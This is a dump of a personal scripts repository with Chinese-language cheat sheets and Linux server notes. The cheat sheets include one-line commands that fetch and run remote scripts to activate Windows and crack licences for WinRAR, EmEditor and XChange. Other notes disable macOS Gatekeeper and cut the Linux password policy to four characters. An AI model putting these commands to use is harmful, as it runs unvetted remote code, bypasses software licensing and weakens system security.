Showing preview only (1,841K chars total). Download the full file or copy to clipboard to get everything.
Repository: hoochanlon/scripts
Branch: main
Commit: afbcd3318e1e
Files: 212
Total size: 1.4 MB
Directory structure:
gitextract_0nk8wkte/
├── .gitattributes
├── AQUICK/
│ ├── BCHEATS/
│ │ ├── CHEATS-ACT.md
│ │ ├── CHEATS-LINUX.md
│ │ ├── CHEATS-MAC.md
│ │ └── CHEATS-WIN.md
│ ├── BITRH/
│ │ └── Win10_Events_ID_useful.xlsx
│ ├── CLINUX/
│ │ ├── LINUXINTRO-0.md
│ │ ├── LINUXINTRO-1.md
│ │ ├── LINUXINTRO-2.md
│ │ ├── LINUXINTRO-3.md
│ │ ├── LINUXNANO-0.md
│ │ ├── LINUXNANO-1.md
│ │ ├── LINUXNANO-2.md
│ │ ├── LINUXNANO-3.md
│ │ ├── LINUXNANO-4.md
│ │ ├── LINUXNANO-5.md
│ │ ├── LINUXSWAP-0.md
│ │ ├── LINUXSWAP-1.md
│ │ ├── LINUXZERO-0.md
│ │ ├── LINUXZERO-1.md
│ │ ├── LINUXZERO-2.md
│ │ ├── LINUXZERO-3.md
│ │ └── LINUXZERO-4.md
│ ├── CPYTHON/
│ │ ├── pachong001.md
│ │ ├── pachong002.md
│ │ ├── pachong003.md
│ │ ├── pachong004.md
│ │ ├── pacong005.text
│ │ ├── pythonBshit001.md
│ │ └── readme.md
│ ├── CRuby/
│ │ └── readme.txt
│ ├── DTRASH/
│ │ ├── Dism++.md
│ │ ├── DriverBooster.md
│ │ ├── Windowsjxjbcg.md
│ │ ├── bossAPI.md
│ │ ├── choice_wdrt.md
│ │ ├── diss_windows_update.md
│ │ ├── emeditor.md
│ │ ├── exif_test_pic/
│ │ │ └── readme.txt
│ │ ├── mac_corn_diy_wallpaper.md
│ │ ├── regfinder.md
│ │ ├── xlgzgxwwpc.md
│ │ ├── zhihu.md
│ │ ├── zhihuapi.md
│ │ ├── zixfx.md
│ │ └── zzchinanewslc.md
│ ├── category_news.json
│ └── readme.md
├── Gemfile
├── PICGO.md
├── README.md
├── d-apple/
│ ├── no_ms_autoupdate.scpt
│ └── office2021.scpt
├── d-bat/
│ ├── add_env_path.bat
│ ├── auto_request.bat
│ ├── choice_wdrt.bat
│ ├── clean_icon_cache.bat
│ ├── clear_nullify_startup_reg.bat
│ ├── demo.bat
│ ├── deny_chrome_update.bat
│ ├── fix_0x11b_share_print.bat
│ ├── fuck_dingding.bat
│ ├── fxxk_chxxa.bat
│ ├── icon_bar_reset.bat
│ ├── ie_web_setting_demo.bat
│ ├── install_jdk.bat
│ ├── keep_ie.bat
│ ├── md5tools.bat
│ ├── mieba.bat
│ ├── nano_runas.bat
│ ├── oh_my_wifi.bat
│ ├── only_install_chrome65.bat
│ ├── re_update.bat
│ ├── reset_keep_ie.bat
│ ├── right-menu.bat
│ ├── saigonoie.bat
│ ├── seven_z_sensei.bat
│ ├── show_wifi.bat
│ ├── stop_update.bat
│ ├── unlockapp.bat
│ ├── webtools.bat
│ ├── weipe_showip.bat
│ ├── winrar_down_reg.bat
│ └── zhuang_ji_yuan.bat
├── d-bat-dc/
│ ├── readme.txt
│ ├── 从网络共享复制到本地,更新hosts.bat
│ ├── 定时关机.bat
│ └── 自动内外网识别与切换.bat
├── d-ipynb/
│ ├── “小粉红”群体分析.ipynb
│ ├── 亚文化视域评论及弹幕调研.ipynb
│ ├── 就业形势分析及预防欺诈对策.ipynb
│ ├── 平台兼容问题.ipynb
│ ├── 打印机自动化安装研究.ipynb
│ ├── 民生及时评类新闻基础分析.ipynb
│ ├── 读《“帝吧出征”事件中话语表达与社群动员研究》.ipynb
│ ├── 读《数字原住民网络潜水动因实证研究》.ipynb
│ └── 读《论马克思主义威望下降的原因》.ipynb
├── d-json/
│ ├── bosszhipin_citycode.json
│ ├── category_news.json
│ ├── category_news_demo.json
│ ├── dingyu_demo.json
│ ├── exam_zhipin_demo.json
│ ├── fenlei_pypt.json
│ └── thulac_wd_attr_cn.json
├── d-latex/
│ ├── figures/
│ │ └── readme.txt
│ └── latexdemo.tex
├── d-pwsh/
│ ├── add_env_path.ps1
│ ├── clac_ie_clearablelistdata_hex.ps1
│ ├── emeditor_random_keygen.ps1
│ ├── ez_auto_install.ps1
│ ├── ez_edit_net.ps1
│ ├── fail_idm.ps1
│ ├── frontline_helpdesk.ps1
│ ├── photoview.ps1
│ ├── win11_htp_active_lite.ps1
│ └── xchange_v8_active.ps1
├── d-pwsh-dc/
│ ├── NTFS权限基础上转换为共享权限.ps1
│ ├── readme.txt
│ ├── 个别组员加权限.ps1
│ ├── 修改共享文件夹名称不影响共享和安全权限.ps1
│ ├── 删除所有共享文件夹中的未知用户权限模板.ps1
│ ├── 删除未知用户共享文件夹权限模板.ps1
│ ├── 删除未知用户文件夹安全权限模板.ps1
│ ├── 删除根目录中所有文件夹中包含未知用户的安全权限模板.ps1
│ ├── 域用户导出.ps1
│ ├── 多个共享文件夹授权读写权限.ps1
│ ├── 恢复域用户模板.ps1
│ ├── 恢复组织单元模板.ps1
│ ├── 批量创建用户.ps1
│ ├── 批量删除用户.ps1
│ ├── 批量授权质检目录访问权限.ps1
│ ├── 批量特定授权.ps1
│ ├── 指定文件夹所有成员读写.ps1
│ ├── 指定文件夹所有成员读取.ps1
│ ├── 文件夹权限模板.ps1
│ ├── 查看用户在哪些共享文件夹有相关权限.ps1
│ ├── 根据成员名单及文件夹名单指定读写.ps1
│ ├── 根据文本内容批量添加相关权限.ps1
│ ├── 灵活加权限.ps1
│ ├── 生产作业1 读取、生产作业2 读写的批量操作.ps1
│ ├── 生成华三导入.ps1
│ ├── 移除权限模板.ps1
│ ├── 移除用户所有涉及到的共享文件夹权限.ps1
│ └── 组织单元成员迁移.ps1
├── d-python/
│ ├── PDFtoPNG.py
│ ├── autologin.py
│ ├── get_bing_wallpapers.py
│ ├── get_bv_baseinfo.py
│ ├── get_chinanews.py
│ ├── get_resou_today.py
│ ├── get_resou_today_s.py
│ ├── get_rumor_analysis.py
│ ├── get_worldometers.py
│ ├── mac_ntfs_ninja.py
│ ├── output_json_for_regex.py
│ ├── zhihu_answers_demo.py
│ └── zhipin_demo.py
├── d-python-datacom/
│ ├── readme.txt
│ ├── 交换机FTP服务器下载备份文件到本地.py
│ ├── 交换机缓冲区日志备份.py
│ ├── 单个交换机配置备份模板.py
│ ├── 批量上传交换机配置到本地FTP.py
│ ├── 批量交换机配置备份.py
│ └── 网络切换及状态标注.py
├── d-python-dc/
│ └── watermark/
│ ├── backup/
│ │ ├── screen_watermark_qt5.py
│ │ ├── screen_watermark_qt5_oblique_old.py
│ │ ├── screen_watermark_qt5_old.py
│ │ ├── screen_watermark_tkinter.py
│ │ └── screen_watermark_tkinter_old.py
│ ├── hostname_user_ip_date.py
│ ├── main.py
│ ├── readme.md
│ ├── requirements.txt
│ ├── screen_watermark_qt5.py
│ ├── screen_watermark_qt5_oblique.py
│ └── screen_watermark_tkinter.py
├── d-ruby/
│ ├── get_chinanews.rb
│ ├── get_msdesign_wallpapers.rb
│ ├── nbview.rb
│ └── ntfs_ripper.rb
├── d-shell/
│ ├── 7z_rar_sensei.sh
│ ├── diy_add_wheel.sh
│ ├── lite_ssh_n_ban.sh
│ ├── lite_vsftpd.sh
│ ├── low_scan_for_winrar.sh
│ ├── mac_corn_diy_wallpaper.sh
│ ├── mac_show_wifi.sh
│ ├── mac_systeminfo.sh
│ ├── no_oh_my_zsh.sh
│ ├── ntfs_ninja.sh
│ ├── simple_ban.sh
│ ├── simple_ssh.sh
│ ├── simple_vsftpd.sh
│ ├── simple_wheel.sh
│ ├── static_route.sh
│ ├── study_nmcil.sh
│ ├── study_nmcil2.sh
│ ├── used_proxychains.sh
│ └── webtools.sh
├── d-txt/
│ ├── cn_stopwords.txt
│ ├── rarpasswd.txt
│ └── requirements.txt
└── d-xlsx/
├── 2023-06-20基线检查报表.xlsx
├── 2023-06-26_B站视频基础信息调研.xlsx
├── SSH登记表.csv
├── chinanews_2023-5-3.xlsx
├── piyao_2023-06-17.xlsx
├── resoubang_2023-05-07.xlsx
├── resoubang_2023-05-15.xlsx
├── worldometers_2023-4-27.csv
├── worldometers_2023-4-29.xlsx
└── 交换机账号清单.csv
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
*.json linguist-detectable=false
*.scpt AppleScript
*.ipynb linguist-detectable=false
================================================
FILE: AQUICK/BCHEATS/CHEATS-ACT.md
================================================
### 激活Windows
一键切换Windows版本
```
curl -O https://ghproxy.com/https://raw.githubusercontent.com/TerryHuangHD/Windows10-VersionSwitcher/master/Switch.bat&&TIMEOUT /T 1&&start /b Switch.bat
```
一键激活微软服务(powershell)
```
irm https://massgrave.dev/get | iex
```
整合
```
curl -O https://ghproxy.com/https://raw.githubusercontent.com/TerryHuangHD/Windows10-VersionSwitcher/master/Switch.bat&&TIMEOUT /T 1&&start Switch.bat&&powershell -command "irm https://massgrave.dev/get|iex"
```
### 激活Windows(script test)
以管理员运行cmd,一键起飞
```
curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/win11_htp_active_lite.ps1&&TIMEOUT /T 1&&start /b powershell win11_htp_active_lite.ps1
```
以管理员运行powershell,一键起飞
```
curl https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/win11_htp_active_lite.ps1 -Outfile win11_htp_active_lite.ps1 | powershell -c win11_htp_active_lite.ps1
```
### 注册WinRAR
以管理员运行cmd,一键下载安装及注册WinRAR
```batch
curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/winrar_down_reg.bat&&TIMEOUT /T 1&&start /b winrar_down_reg.bat
```
### 注册emeditor
cmd的curl下载,文件默认会在命令行所在当前目录(管理员权限 /system32,平常打开 /用户名),powershell和管理员的界面默认会从system32里找文件,所以也能容易出错。
```
curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/emeditor_random_keygen.ps1&&powershell -c emeditor_random_keygen.ps1
```
附龟速下载
```powershell
(new-object System.Net.WebClient).DownloadFile("https://support.emeditor.com/en/downloads/latest/installer/64","c:/editor.exe")
```
### 注册xchange pdf
powershell以管理员权限运行。注意当前目录,curl输出到当前所在目录,powershell的命令会在system32找文件或命令,自然就会报错了。
```
curl https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/xchange_v8_active.ps1 -Outfile xchange_v8_active.ps1 | powershell -c xchange_v8_active.ps1
```
================================================
FILE: AQUICK/BCHEATS/CHEATS-LINUX.md
================================================
## simple used Linux 🧪
简单用ssh
```
sudo bash -c "$(curl -fsSL "https://ghproxy.com/https://github.com/hoochanlon/ihs-simple/blob/main/simple_ssh.sh")"
```
================================================
FILE: AQUICK/BCHEATS/CHEATS-MAC.md
================================================
# Mac指令速记即用
`sudo -S`之后的操作可不用输密码;终端挂载不休眠`caffeinate`,以及安装` neofetch` 可查看系统资料。`tldr`比`man`更好用。
### vim日常操作
---
* 显示行数,`set nu`,删除当前行,`dd`;删除X-Y行,`24,30d`。
* 将X-Y行复制,`24,30 copy`;将X-Y行剪切至Z行,`24,30 move 10`。
* 将所有星号替换为减号,`%s/*/-/`;定位特定行,替换字符,`10,50s/word1/word2/`。
* “yy”复制当前行;p贴在下一行;重复上回单次操作键盘“.”。
* ”u“撤销,”ctrl+r” 前进。
---
### 个人常用的Shell
#### 简化解除软件门禁指令
保存别名到存档配置文件,已软件签名为例
* ls >> test.txt 定向输入到文件,echo 输入可自动换行
* 配置存档 for Mac,新版为`~/.zshrc`
* 参考:[Catalina以后的系统添加别名](https://blog.csdn.net/weixin_26737625/article/details/108259518)、[macOS Command - xattr](https://blog.csdn.net/lovechris00/article/details/113060237)
```
echo "alias sign='sudo xattr -d com.apple.quarantine'" >> ~/.zshrc
```
#### 安装允许任何来源
```
sudo spctl --master-disable
```
#### 修复程序启动以及打开方式重复的bug
```
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -kill -r -domain local -domain system -domain user
```
#### 把文件扔进垃圾桶
```
trash /Users/chanlonhoo/未命名文件夹
```
#### App Store下载出问题用终端的应用商店mas
```
brew install mas
mas search bear
mas install 1091189122
```
#### 截图
更改默认前缀
```
defaults write com.apple.screencapture name "catch"
```
更改截图文件类型jpg
```
defaults write com.apple.screencapture type jpg
```
#### 复制路径
复制当前路径
```
pwd|pbcopy
```
参考:[Linux 系统中“|”管道的作用是什么](https://zhidao.baidu.com/question/548984916.html)
把长串目录临时设置变量
```
# 设置变量,并进入改变量目录
workdir='/filer/home/xiaoming'|cd $workdir
# 写入文件永久执行
echo "export workdir='/filer/home/xiaoming'" >> ~/.bash_profile
```
改写:[百度知道-linux 把长路径名赋值给变量](https://zhidao.baidu.com/question/2206329112263835988.html)
#### 查看系统启动时间及信息
启动时间
```
uptime
```
系统信息
```
brew install neofetch && neofetch
```
#### 替换搜索工具find与安装目录切换工具
```
brew install fd && brew install z
```
#### 原生查看系统信息并简化
* 将指令参数等重命名为`systeminfo`,简化命令字母单词
* `>>` 并写配置文件` ~/.zshrc`永久保存
```
echo "alias systeminfo='system_profiler SPSoftwareDataType SPHardwareDataType'" >> ~/.zshrc
```
#### brew查看安装过的东西
其中cask是增强包
```
brew list
```
#### git使用ssh
生成 ssh key 并复制密钥内容
参考:[码农家园-为什么要在ssh-keygen中使用`-t rsa -b 4096`?](https://www.codenong.com/51834225/)
```
ssh-keygen -t rsa -b 4096 -C \
"youmail@outlook.com" \
&& pbcopy < ~/.ssh/id_rsa.pub
```
测试链接
```
ssh -T git@gitlab.com
```
#### 对查看IP地址命令进行简化,`ip`
内网
```
echo "alias ip=ipconfig getifaddr en0" >> ~/.zshrc
```
外网
```
curl cip.cc
```
参考:https://www.yundongfang.com/Yun124125.html
#### 清除DNS缓存
```
sudo dscacheutil -flushcache
```
#### 查看磁盘空间
```
brew install duf && duf --all
```
#### 查看隐藏文件
```
ls -al
```
### [Nigate Free-NTFS-for-Mac](https://github.com/hoochanlon/Free-NTFS-for-Mac)
#### Homebrew(Mac、Linux)
```
/bin/bash -c "$(curl -fsSL https://gitee.com/ineo6/homebrew-install/raw/master/install.sh)"
```
#### 下载文件内容写入到某个位置
参考:[入门小站-linux之curl使用技巧](https://baijiahao.baidu.com/s?id=1714333474878440110)
```
curl https://fastly.jsdelivr.net/gh/hoochanlon/Free-NTFS-for-Mac/nigate.sh > ~/Public/nigate.sh
```
#### 在线执行脚本
* `/bin/bash -c`使用bash执行
* `-fsSL`
* -f(--fail) — 表示在服务器错误时,阻止一个返回的表示错误原因的 HTML 页面
* -L(--location) — 参数会让 HTTP 请求跟随服务器的重定向。
* -S(--show-error) — 指定只输出错误信息,通常与 -s 一起使用。
* -s(--silent) — 不显示错误和进度信息。
参考:[csdn-curl -fsSL](https://blog.csdn.net/weixin_46267040/article/details/125370144),顺便提一嘴无关紧要的[终端小游戏](http://www.nndssk.com/xtwt/1479093c5Wg3.html)
```
/bin/bash -c "$(curl -fsSL https://cdn.statically.io/gh/hoochanlon/Free-NTFS-for-Mac/main/nigate.sh)"
```
#### 指令别名与文件软链接
说人话就是把长的命令变成几个字母的单词(别名),文件建立个快捷方式(软链接)
* 文件类型需要用到软链接,不能用别名,别名只适用于命令
* 别名只能生效于本机已存在的文件,curl 那么就用不了了
参考:[csdn-创建mac软件快捷启动方式 软连接方式ln -s](https://blog.csdn.net/guokaigdg/article/details/89457317)
```
sudo /usr/local/bin ln -s \
~/Public/nigate.sh nigate.shortcut \
&& echo "alias nigate='bash nigate.shortcut'" >> ~/.zshrc
```
================================================
FILE: AQUICK/BCHEATS/CHEATS-WIN.md
================================================
### win11 home to pro
升级了,但没激活。[代码出处 akbch/win11-home-to-pro](https://github.com/pakbch/win11-home-to-pro/blob/main/code.bat)
```
sc config LicenseManager start= auto & net start LicenseManager
sc config wuauserv start= auto & net start wuauserv
changepk.exe /productkey VK7JG-NPHTM-C97JM-9MPGT-3V66T
exit
```
微软产品激活。详情:https://massgrave.dev
```
irm https://massgrave.dev/get | iex
```
去你的!一步到位!我全都要!
```
curl -O https://ghproxy.com/https://raw.githubusercontent.com/TerryHuangHD/Windows10-VersionSwitcher/master/Switch.bat&&TIMEOUT /T 1&&start Switch.bat&&powershell -command "irm https://massgrave.dev/get|iex"
```
### 提升管理权限
https://zhidao.baidu.com/question/1431089222201948539.html 家庭版,嫌麻烦,没做
### 写入hosts
详情见:`xcopy /?`,大意将文件全部复制到一个新目录(xcopy特性)存放,再排除重复操作的报错。
```
@xcopy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.bak\ /d /c /i /y
```
利用如上逻辑进行还原,即原备份文件覆盖。
```
@copy C:\Windows\System32\drivers\etc\hosts.bak\hosts C:\Windows\System32\drivers\etc\hosts /y
```
写入
```
@echo 117.79.149.116 search.b2b.cn >>C:\Windows\System32\drivers\etc\hosts
```
参考: [windwos使用CMD命令添加hosts的方法](https://blog.csdn.net/pokes/article/details/122179412)
### 复制与粘贴文本
快速回到桌面
```
cd %userprofile%\desktop
```
参考:[jack孟-Windows系统,命令行窗口里的内容复制到剪贴板](https://www.cnblogs.com/mq0036/p/16285243.html)
### 结束进程
`/IM` 指定进程名称,这比PID好多了。
```
TASKKILL /F /IM PDFXHost32.exe
```
参考:[csdn-taskkill /f /im *.exe 的作用](https://blog.csdn.net/ccf19881030/article/details/119040631)
### 防火墙
查看防火墙状态
```
netsh advfirewall show allprofiles
```
打开/关闭防火墙
```
netsh advfirewall set allprofiles state on/off
```
添加限制程序联网规则
```
netsh advfirewall firewall add rule name="no_ie_for_em" dir=out program="%localappdata%\Programs\EmEditor\emeditor.exe" action=block
```
让Windows防火墙允许或禁止 ping
```
netsh firewall set icmpsetting 8
netsh firewall set icmpsetting 8 disable
```
新版
```
netsh advfirewall firewall add rule name="ICMP Allow incoming V4 echo request" protocol=icmpv4:8,any dir=in action=allow/block
```
参考:
* [learn.microsoft](https://learn.microsoft.com/zh-CN/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior)
* [csdn-Windows系统设置开启Ping或禁Ping(超详细)](https://blog.csdn.net/wlc_1111/article/details/106048982)
* [windows防火墙实验-命令行设置远程桌面连接以及禁止浏览器上网](https://www.bbsmax.com/A/KE5QjnkLdL/)
================================================
FILE: AQUICK/CLINUX/LINUXINTRO-0.md
================================================
# 我的Linux入门之阿里云(免费版)初体验
> 推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://www.explainshell.com)、[modern-unix](https://github.com/ibraheemdev/modern-unix)。
一篇用爱发电的落后于时代的Linux折腾记录笔记,被黑客入侵连续入侵两次的新篇总结。
## SSH连接远程主机
连接主机输入主机密码,设置主机名。
```
# 连接主机
ssh root@公网IP
# 设置主机名
hostnamectl set-hostname xiaohong
# 正常设置主机名需要重启,执行bash刷新
bash
````
配置密码策略,修改密码得像4位数的验证码一样简单。vi /etc/pam.d/system-auth
```
# 密码验证三次,什么大小写特殊字符统统给我去掉
password requisite pam_pwquality.so try_first_pass local_users_only retry=3
password requisite pam_pwquality.so authtok_type= lcredit=0 ucredit=0 dcredit=0 ocredit=0 minlen=4
```
然后修改密码:`passwd root`
参考:[csdn-Linux CentOS7 服务器密码策略配置修改](https://blog.csdn.net/Ahuuua/article/details/125333088)、[CentOS操作系统密码复杂度策略查看和设置](https://www.cnblogs.com/wwwcf1982603555/p/15560277.html)。
## SSH免密登录快速配置
### 客户端
本机会将这一登录信息保存在`~/.ssh/known_hosts`文件当中,再次登录到远程服务器不用输入密码。
```
# 参数说明:-t 指定要创建的类型;-b 密钥长度;-f 指定文件名;id_rsa-remotessh 名字随意
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519-remotessh
```
自定义名称需额外配置Windows/Mac上的 ~/.ssh/config 文件, IdentityFile ~/.ssh/ed25519-remotessh 来定义公钥与私钥的配对。
```
Host 101.xxx.xxx.xxx
HostName 101.xxx.xxx.xxx
User root
IdentityFile ~/.ssh/ed25519-remotessh
```
参考:[51cto-github更新sshkey](https://blog.51cto.com/u_15726470/5576074)
"-i"是指定公钥文件上传到服务器。
```
ssh-copy-id -i .ssh/id_ed25519.pub user@server
```
输入密码,至此客户端完成操作,下面是服务器端,即远程主机的配置。
### 服务端
编辑 /etc/ssh/sshd_config 文件,添加如下设置:
```
# 是否允许Public Key
PubkeyAuthentication yes
# 允许Root登录
PermitRootLogin yes
# 设置是否使用口令验证。
PasswordAuthentication no # no 代表任何人远程访问都只能通过密钥,除非去机房或VNC屏幕远程
```
重启SSH服务,`systemctl restart sshd.service`。
#### 设置ssh路径下的权限
```
chmod 700 /home/xxx && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
```
[经“码司机”的实验](https://blog.csdn.net/qq_39320261/article/details/128342057),“/.ssh”与“ahthorized_keys”不得高于700,“/.ssh”的上层目录不得高于755;而我自己的现场主机是root用户,所以并没有什么相关的权限制约问题。
参考:
* [csdn-设置ssh免密不起作用?彻底搞懂密钥】vscode在remote SSH免密远程登录](https://blog.csdn.net/weixin_42907822/article/details/125237307)
* [cnblogs-ssh实现免密登录](https://www.cnblogs.com/hongdada/p/13045121.html)
* [csdn-【问题解决】解决Linux配置SSH公钥后仍然需要输入密码的问题](https://blog.csdn.net/qq_39320261/article/details/128342057)
## SSH故障排除
```
> id_rsa 就是私钥文件
> id_rsa.pub 就是公钥文件
> known_host 就是记录你曾经远程连接过的机器信息文件
```
此类提示是远程主机未授权给本地
```
C:\Users\chanlonhoo>ssh root@101.x.xx.xxx
root@101.x.xx.xxx: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
```
现象:由于ssh的加密性质,电脑重装之后,远程输入密码就登陆不上了。解决办法:电脑设置一次VNC,此时需要删除ssh的hnown_hosts。
```
rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old
```
掉线问题,主要看客户端,有些客户端长时间不操作会自动断开。系统默认就是不掉线的,除非配置在`/etc/profile `了 export TMOUT=300。改成如下便可。
vi /etc/ssh/sshd_config
```
# ClientAliveInterval 0 # 客户端每隔多少秒向服务发送一个心跳数据,类似web响应。
# ClientAliveCountMax 3 # 客户端多少秒没有相应,服务器自动断掉连接
ClientAliveInterval 30
ClientAliveCountMax 86400
```
并重启ssh服务,`systemctl restart sshd`。
================================================
FILE: AQUICK/CLINUX/LINUXINTRO-1.md
================================================
# 我的Linux入门之BAN IP的思索
> 一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://www.explainshell.com)、[modern-unix](https://github.com/ibraheemdev/modern-unix)。
注:被黑客连续入侵两次主机挖矿后,我决定对这Linux毛坯房进行升级改造。SSH密钥单人还好,多人就先密码处理。可主机暴露在公网,为此也是思索出ban掉对方的策略。
## 禁止对方搞事 —— BAN IP
### 思路1: 下载tcpdump抓包,脚本写个逻辑程序
💡:到时候自己提取文本、统计相同IP总数、有3次在ping我主机,直接ban ip。
```
# 下载tcpdump
git clone https://github.com/the-tcpdump-group/tcpdump
# 查看谁在 ping 我主机
tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -n
```
### 思路2: 使用ban ip等软件及脚本
常见的有:fail2ban、denyhosts、secure_ssh。这里以fail2ban为例,从下载安装设置自启与启动。
```
yum install -y fail2ban && systemctl enable fail2ban.service
```
配置 `vi /etc/fail2ban/jail.conf`
```
# 注意时区问题:systemctl restart rsyslog
# 注意端口号:我们修改ssh端口后,fail2ban也需要修改端口号
action = iptables[name=SSH,port=ssh,protocol=tcp]
enabled = true
filter = sshd
logpath = /var/log/secure #日志位置
bantime = 2200 #封锁时间长达三月以上(24*30*3)
maxretry = 2 #失败2次即封禁
findtime = 3600 #1小时之内(60*60)
# 可以定制化发送邮件
sendmail-whois[name=SSH, dest=your@email.com, sender=fail2ban@example.com,sendername="Fail2Ban"]
```
启动服务,fail2ban开始生效。
```
systemctl enable fail2ban.service && systemctl restart fail2ban
```
日志查看 `cat /var/log/fail2ban.log`
参考:
* [oschina-Centos DenyHosts 禁止针对 linux sshd 的暴力破解](https://my.oschina.net/notbad/blog/338545)
* [bbsmax-fail2ban的使用以及防暴力破解与邮件预警](https://www.bbsmax.com/A/QW5YD19MJm/)
* [csdn-fail2ban配置教程 有效防止服务器被暴力破解](https://blog.csdn.net/qq_44293827/article/details/118641216)
* [百度知道-linux中wc -l指令用法,我知道怎么得到一个文件的内容行数,但是是怎么得到多个文件的内容的总行数](https://zhidao.baidu.com/question/1370474194322953939.html)
## 禁止随意乱发洪流,仅限于临时放开
重要:<u>系统是否允许Ping由2个因素决定的:A、内核参数,B、防火墙。</u>
### 内核关闭ping
编辑 `/etc/sysctl.conf` 然后执行 `sysctl -p`
```
net.ipv4.icmp_echo_ignore_all=1
```
参考:[Linux禁止ping、开启ping设置](https://www.bbsmax.com/A/obzbMvAMdE/)
### 防火墙
启动防火墙 `systemctl enable firewalld && systemctl start firewalld`
#### 防火墙开启ICMP输入输出。
```
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT
```
#### 仅放行自己IP示例
加一条就好了,相当于是仅对这一个IP网段放行,别的就拒掉。
```·
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="22" accept'
```
#### 防火墙ban掉对方ip
禁止192.168.128.137访问主机,如果要取消的话,将`--add`换成`--remove`就好
```
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.128.137" drop'
```
参数:filter,本地数据限制;-s源地址,-d目的地址,-p协议,--dport端口,-j行为/REJECT拒绝/ACCEPT同意/DROP丢弃。
```
firewall-cmd --direct -add -rule ipv4 filter INPUT 1 -s 172.25.254.50 -p tcp -dport 22 -j REJECT
```
参考:
* [博客园-Linux命令之firewall-cmd](https://www.cnblogs.com/diantong/p/9713915.html)
* [chinaunix-Linux使用防火墙firewall-cmd限制ssh只允许从指定IP段或指定源IP访问](http://blog.chinaunix.net/uid-20329764-id-5845291.html)
* [csdn-Linux系统上的防火墙命令](https://blog.csdn.net/weixin_43780179/article/details/125046304)
* [爱码网-linux下防火墙的管理工具firewall-cmd](https://www.likecs.com/show-203862572.html)
================================================
FILE: AQUICK/CLINUX/LINUXINTRO-2.md
================================================
# 我的Linux入门之限制程序联网
一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://www.explainshell.com)、[modern-unix](https://github.com/ibraheemdev/modern-unix)。
## 用户组规则禁止程序联网
内核级的访问控制,比如SELinux,配置不当容易开不了机,而且很多操作也会受限,极其不方便。这里就只能列出用户规则与软件授权级的控制了。阿里云客服给我找来了[“创建新用户,限制新用户联网”的解决方案](https://www.zhihu.com/question/419420632),着实脑洞新奇。也确实,一个软件可能存在此相关的多个进程联网;而且还要一一知晓每个软件的联网进程名,这太反人类了。

<u>linux的权限采用的是文件-用户-用户组的模式,创建文件的用户具有文件的所有权限,一旦某个用户被突破,系统的风险的无限加大。</u>
参考:
* [csdn-LInux基础——SELinux](https://blog.csdn.net/qq_35258036/article/details/125932224)
* [huaweicloud-Ubuntu Apparmor 简介以及如何配置 Apparmor 配置文件](https://bbs.huaweicloud.com/blogs/371946)
* [csdn-SELinux如何永久禁用](https://blog.csdn.net/l_liangkk/article/details/114994446)
* [aws-在EC2上对SELinux故障进行紧急恢复以及排查的思路及方法](https://aws.amazon.com/cn/blogs/china/ideas-and-methods-for-emergency-recovery-and-troubleshooting-of-selinux-faults-on-ec2/?nc1=h_ls)
### Linux限制网络带宽— —Wondershaper
注意这是不保险的设置:
> 上下带宽为0,是表示你没有数据通信,并不表示你上不了网。这要看你在哪里看到的上下带宽了,如果在本地连接上看到的话那就真的上不了网了。我是设置的路由器管理的ip地址上下带宽为0还能上不?可以上网,路由有最低带宽保障的,而且有的还有流量负载均衡,它会自动把空闲流量给你流量设置较小的地址 [百度知道-ip地址上下带宽为0是不是不能上网了?](https://zhidao.baidu.com/question/2052567243210887067.html)
```
# 安装yum软件仓扩展库
sudo yum install epel-release
sudo yum install wondershaper
sudo systemctl enable wondershaper.service
sudo systemctl start wondershaper.service
# 上行带宽 -d;下行带宽-u 512.
sudo wondershaper -a eth0 -d 0 -u 0
# 解除限制
sudo wondershaper -c eth0
```
参考:[在 Linux 中使用 Wondershaper 限制网络带宽](https://zhuanlan.zhihu.com/p/46121687)
================================================
FILE: AQUICK/CLINUX/LINUXINTRO-3.md
================================================
# 我的Linux入门 下载及使用软件
> 一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://www.explainshell.com)、[modern-unix](https://github.com/ibraheemdev/modern-unix)。
## 简单使用
首先将压缩软件换成7zip。自带解压上手起来,徒增学习成本,冗长的命令,不方便操作。
```
# a 添加压缩包 x 解压
# 参考文档:https://wiki.archlinux.org/title/p7zip
yum install -y p7zip
```
## Mac使用SCP上传与拷贝文件
先试试能不能ping通Linux,`ping 101.xx.xx.xx -c 3`。
Mac上传文件到Linux
```
scp /Users/chanlonhoo/Downloads/cake1.PNG root@101.xx.xxx.xxx:/
```
Mac从Linux上下载文件
```
scp root@101.xx.xx.xxx:/cake1.PNG /Users/chanlonhoo/Downloads
```
bash: scp: 未找到命令 lost connection;在Linux上安装便可解决。
```
yum install openssh-clients*
```
参考:[csdn-bash: scp: 未找到命令 lost connection](https://blog.csdn.net/weixin_44825767/article/details/112209810)
## 下载ClamAV和更新病毒库
给自己来上安慰剂...
```
# freshclam为更新病毒库。
yum install clamav && freshclam
```
